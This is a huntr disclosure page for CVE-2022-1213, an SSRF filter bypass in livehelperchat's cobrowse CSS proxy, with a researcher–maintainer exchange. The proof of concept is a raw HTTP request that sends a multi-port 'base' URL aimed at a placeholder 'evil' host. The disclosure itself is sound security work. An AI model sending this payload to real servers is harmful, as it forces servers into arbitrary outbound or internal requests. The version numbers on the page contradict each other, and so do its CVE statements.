huntr

SSRF filter bypass port 80, 433 in livehelperchat/livehelperchat

2

✓ Valid Reported on Apr 3rd 2022

Description

To exploit vulnerability, someone must pass a "base" parameters with a url multi-port to bypass filter check.

Proof of Concept

```
GET /index.php/cobrowse/proxycss/1?base=http://evil:8888:80/&css=index.php
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/201001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: SESS02163d6deb6c206a82729b5648c7ccb7=VGWS8m-s8l4LTBWIdx4SLEWp_4CV9
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
```

the server will make http request to evil:8888

Impact

An attacker could make the application perform arbitrary requests, bypass CVE-2022-1191

References

- https://github.com/LiveHelperChat/livehelperchat/issues/1752

CVE
CVE-2022-1213
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
High (7.7)

Registry
Other

Affected Version
3.96

Visibility
Public

Status
Fixed

Found by

Nhien.IT
@nhienit2010
pro

This report was seen 876 times.

We are processing your report and will contact the **livehelperchat** team within 24 hours.
8 months ago

Nhien.IT modified the report 8 months ago

Nhien.IT modified the report 8 months ago

Nhien.IT modified the report 8 months ago

Chat with us

Remigijus Kiminas validated this vulnerability 8 months ago

Nhien.IT has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Remigijus Kiminas marked this as fixed in 3.67v with commit abc959 8 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Remigijus 8 months ago Maintainer

Next time you can just crate here an issue, no need to duplicate in github :)

Nhien.IT 8 months ago Researcher

Yeah, thank bro XD

Sign in to join this conversation

FAQ

contact us

terms

privacy policy